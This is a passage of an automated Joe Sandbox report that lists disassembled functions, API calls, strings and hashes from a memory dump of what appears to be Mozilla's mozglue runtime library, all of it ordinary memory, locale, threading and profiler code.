Instruction ID: b07c7deb48002e8a689d8bbde155cf50ea08e27dd7a87c924b96208cd5a96077
Opcode Fuzzy Hash: 02f579a37166ad5339eb49988af277c04f8f11d9a9b7aa49b6dab5e99b856ab4
Instruction Fuzzy Hash: 8951D876E217019BD7118B29C9826AEB3F2BF91708F99051CD81A53F00D731F9DACB92

Function 6CAA5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CAA5C8C,?,6CA7E829), ref: 6CAA5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CAA5C8C,?,6CA7E829), ref: 6CAA5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CAA5C8C,?,6CA7E829), ref: 6CAA5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CAA5C8C,?,6CA7E829), ref: 6CAA5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CAA5C8C,?,6CA7E829), ref: 6CAA5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CAA5C8C,?,6CA7E829), ref: 6CAA5DC9
std::_Facet_Register.LIBCPMT ref: 6CAA5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CAA5C8C,?,6CA7E829), ref: 6CAA5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CAA5C8C,?,6CA7E829), ref: 6CAA5E45

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6a52e2fbfd126f6c0536e8573f1e2bd0025f63ca171ff7e0e9835de1b3e80ff0
Instruction ID: d6d76a3f217f4786d52f38ceed0c31f0273f2a32b784c920bc8ea9c22dca1a57
Opcode Fuzzy Hash: 6a52e2fbfd126f6c0536e8573f1e2bd0025f63ca171ff7e0e9835de1b3e80ff0
Instruction Fuzzy Hash: CA41C5307003059FCB14DFA5D898AAD77B5FF48318F088168D50697781DB31E94ACB64

Function 6CA7CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA431A7), ref: 6CA7CDDD

Strings

<jemalloc>, xrefs: 6CA7CF9F, 6CA7CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CA7CFA4, 6CA7CFB8

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 900fd836ebc6f5e12750313f11dfa1cb2df5aa4736ef27484b1359582a01652e
Instruction ID: 19e499e3d881fd7b021f84e9dff4e61e88772256a9ea258725a3fbc91ff3b1c4
Opcode Fuzzy Hash: 900fd836ebc6f5e12750313f11dfa1cb2df5aa4736ef27484b1359582a01652e
Instruction Fuzzy Hash: 8731E434B413065BEF24AFA98C45B6E3A79BB4070CF348114F610ABAC0DB71D58187B5

Function 6CA4ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA4F100: LoadLibraryW.KERNEL32(shell32,?,6CABD020), ref: 6CA4F122
Part of subcall function 6CA4F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA4F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA4ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA4EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA4EDCC
CreateFileW.KERNEL32 ref: 6CA4EE08
free.MOZGLUE(00000000), ref: 6CA4EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA4EE32

Part of subcall function 6CA4EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA4EBB5
Part of subcall function 6CA4EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA7D7F3), ref: 6CA4EBC3
Part of subcall function 6CA4EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA7D7F3), ref: 6CA4EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA4EDC1

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 8c811ccbc4638cb0429ed7ae24c8f1210c10c4d395b3fd333bef0c9e5d7a5028
Instruction ID: 5918867cfc873c5d9d8b6915f212ae21a0063796ce8f652d4e7e323eaad95198
Opcode Fuzzy Hash: 8c811ccbc4638cb0429ed7ae24c8f1210c10c4d395b3fd333bef0c9e5d7a5028
Instruction Fuzzy Hash: 9151BC71D053049BDB00DF68C981AAEF7B1AF59318F48C52DE8556BB80E734A9C9C7A2

Function 6CABA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CABA565

Part of subcall function 6CABA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABA4BE
Part of subcall function 6CABA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CABA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CABA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CABA6B6

Strings

0, xrefs: 6CABA5FB
z, xrefs: 6CABA6AE

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 04dba5994ad01b01a8e4bfe32b6e7286737fb189af5261dbb37e5b4232f5a786
Instruction ID: 2744270358938e6a42a39ea96404681b1747df18ced525360b96fe2b9d7f6a26
Opcode Fuzzy Hash: 04dba5994ad01b01a8e4bfe32b6e7286737fb189af5261dbb37e5b4232f5a786
Instruction Fuzzy Hash: 88413D719087459FC341DF28C090A8FBBE9BF89354F408A2EF49997650E730D989CB92

Function 6CA478C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CAC008B), ref: 6CA47B89
free.MOZGLUE(?,6CAC008B), ref: 6CA47BAC

Part of subcall function 6CA478C0: free.MOZGLUE(?,6CAC008B), ref: 6CA47BCF

free.MOZGLUE(?,6CAC008B), ref: 6CA47BF2

Part of subcall function 6CA65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA65EDB
Part of subcall function 6CA65E90: memset.VCRUNTIME140(6CAA7765,000000E5,55CCCCCC), ref: 6CA65F27
Part of subcall function 6CA65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA65FB2

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 0716d578d64c5b1241d7caec5240046af8f2975f107ceb324950873372a4942c
Instruction ID: 775cef44f708bd3f85095f8ed0f530b36b70f65e756cc0e904c043dd9a6c5d4a
Opcode Fuzzy Hash: 0716d578d64c5b1241d7caec5240046af8f2975f107ceb324950873372a4942c
Instruction Fuzzy Hash: D6C1A031E011688BEB24CB68CD90B9DB772AF41318F1586A9D41AEBBC1C7319EC9CF51

Function 6CA89420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA7AB89: EnterCriticalSection.KERNEL32(6CACE370,?,?,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB94
Part of subcall function 6CA7AB89: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
__Init_thread_footer.LIBCMT ref: 6CA8949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA8947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA8946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA89459

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 61a5f065923c9b4cbe57bab0554242f0860c5611bec1a62b889cddfd60cb8eba
Instruction ID: c66878eb0b87664648343f902b17be05550068a73a82b011734e1c23432c2f7c
Opcode Fuzzy Hash: 61a5f065923c9b4cbe57bab0554242f0860c5611bec1a62b889cddfd60cb8eba
Instruction Fuzzy Hash: 04014C74B002028FD7049B7CDF11A9533B5FB0532CF08853BED0686B51D639EAE68967

Function 6CA90F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA90F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA90F88
GetCurrentThreadId.KERNEL32 ref: 6CA90FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CA91067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CA910A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CA9114B

Part of subcall function 6CA88AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CAA1563), ref: 6CA88BD5

free.MOZGLUE(?), ref: 6CA91174
free.MOZGLUE(?), ref: 6CA91186

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 98edbb7fd0c15830b2a6ba4db857744e532c2251c23b5b2247669cdfc9dd038e
Instruction ID: 6536662ec39a0897676a9f9f39990b209a8a343b075c9238d496c270e04a02ad
Opcode Fuzzy Hash: 98edbb7fd0c15830b2a6ba4db857744e532c2251c23b5b2247669cdfc9dd038e
Instruction Fuzzy Hash: D361E275A143409FDB10CF25C9817AAB7F5BFC9308F14891DE99947712EB31E589CB81

Function 6CA4B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA4B61E,?,?,?,?,?,00000000), ref: 6CA4B6AC

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA4B61E,?,?,?,?,?,00000000), ref: 6CA4B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA4B61E,?,?,?,?,?,00000000), ref: 6CA4B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA4B61E,?,?,?,?,?,00000000), ref: 6CA4B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA4B61E,?,?,?,?,?,00000000), ref: 6CA4B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA4B61E), ref: 6CA4B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA4B61E,?,?,?,?,?,00000000), ref: 6CA4B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA4B61E,?,?,?,?,?,00000000), ref: 6CA4B79A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 8fa3bcad3f1040208fbf581a9e3a79e8b8acb39688c9a00b3628471aa31e2eee
Instruction ID: 7d7e297d244c47cdef20e9dcc468c6014d22f468bc04798d6c1ed3955e2e786e
Opcode Fuzzy Hash: 8fa3bcad3f1040208fbf581a9e3a79e8b8acb39688c9a00b3628471aa31e2eee
Instruction Fuzzy Hash: C341E5B2D005158FCB04DF68EC909AFB7B9BF44324F294729E825E7780E731A95487D1

Function 6CA4EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CAC5104), ref: 6CA4EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA4EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA4EFEC
free.MOZGLUE(?), ref: 6CA4F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA4F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CA4F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA4F065
moz_xmalloc.MOZGLUE ref: 6CA4F072

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: cad018b46cbc7eb12abf035fc3a27d8c7404649e56e16ed2ec4f2a14e51ebaed
Instruction ID: 3f6b76685247eeee65946fb08bdf17d466950fdcae58e67571464e08bc2f5ecd
Opcode Fuzzy Hash: cad018b46cbc7eb12abf035fc3a27d8c7404649e56e16ed2ec4f2a14e51ebaed
Instruction Fuzzy Hash: 2241D6B1A002059FCB08CF68DD909AE7769BFC4318B24462CE815DB794FB31E955C7E1

Function 6CABB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CABB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CABB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CABB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CABB5F4
__Init_thread_footer.LIBCMT ref: 6CABB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CABB61F
std::_Facet_Register.LIBCPMT ref: 6CABB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABB655

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 7810062395fe70fa02f6b62a7ec562dfafc3920d01d7e9dfd37d36a2c2243608
Instruction ID: 8c4ca1756854caa2a776ae6e3f2207887f3d84cafe7f810cd1dcfeacfb770a68
Opcode Fuzzy Hash: 7810062395fe70fa02f6b62a7ec562dfafc3920d01d7e9dfd37d36a2c2243608
Instruction Fuzzy Hash: 6531E471B00206CBCF05DB68D9949AEB7B9FB85325B044619D902A7740CB31A98BCB91

Function 6CA59830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CAA7ABE), ref: 6CA5985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CAA7ABE), ref: 6CA598A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CA59909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CA59918
free.MOZGLUE(?), ref: 6CA59975

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 434b66080d1c5462929de6061ca4f48afe00e1e4b316836e7d7c73cfc048425d
Instruction ID: 9e512a73bb6aca6867d4057168fe0e91207819e6d7613da985a874536e2bfc8a
Opcode Fuzzy Hash: 434b66080d1c5462929de6061ca4f48afe00e1e4b316836e7d7c73cfc048425d
Instruction Fuzzy Hash: C2719BB4600705CFC714CF78C580956B7F1FF4A3247A48AA9D85A8BBA0D331F896CB51

Function 6CA5B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA9CC83,?,?,?,?,?,?,?,?,?,6CA9BCAE,?,?,6CA8DC2C), ref: 6CA5B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA9CC83,?,?,?,?,?,?,?,?,?,6CA9BCAE,?,?,6CA8DC2C), ref: 6CA5B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CA9CC83,?,?,?,?,?,?,?,?,?,6CA9BCAE), ref: 6CA5B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CA9CC83,?,?,?,?,?,?,?,?,?,6CA9BCAE,?,?,6CA8DC2C), ref: 6CA5B896

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 07aaa7c9212ef9483552ca08f4d4c823c3decaf43dd56e205fedc15237c1ba3d
Instruction ID: 8c4eb40e5ee8d1ca5ad4e25709c128db1cf9f604f0d852a67702ff2c42e5d5c7
Opcode Fuzzy Hash: 07aaa7c9212ef9483552ca08f4d4c823c3decaf43dd56e205fedc15237c1ba3d
Instruction Fuzzy Hash: 5C518B35700604CFCB15CF58D488A2ABBF5FF88319BA9C65DE98A87351C731E852CB80

Function 6CA91D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA91D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CA91BE3,?,?,6CA91D96,00000000), ref: 6CA91D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CA91BE3,?,?,6CA91D96,00000000), ref: 6CA91D4C
GetCurrentThreadId.KERNEL32 ref: 6CA91DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA91DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA91DDA

Part of subcall function 6CA91EF0: GetCurrentThreadId.KERNEL32 ref: 6CA91F03
Part of subcall function 6CA91EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CA91DF2,00000000,00000000), ref: 6CA91F0C
Part of subcall function 6CA91EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA91F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CA91DF4

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: a4ca048264dbfc953d457aa5edf3dd46bb05b02d73fabdea6d2fee642d76a2bd
Instruction ID: 8c1d2fd6e2b061f0bffe9729347d5674efe5c97c4f0c7cd409cb0fa7174f3899
Opcode Fuzzy Hash: a4ca048264dbfc953d457aa5edf3dd46bb05b02d73fabdea6d2fee642d76a2bd
Instruction Fuzzy Hash: 8D4189B52007019FCB14CF28C489A66BBF9FB89318F10852DEA5A87B41DB31F894CB90

Function 6CA538A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CACE220,?,?,?,?,6CA53899,?), ref: 6CA538B2
ReleaseSRWLockExclusive.KERNEL32(6CACE220,?,?,?,6CA53899,?), ref: 6CA538C3
free.MOZGLUE(00000000,?,?,?,6CA53899,?), ref: 6CA538F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA53920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CA53899,?), ref: 6CA5392F
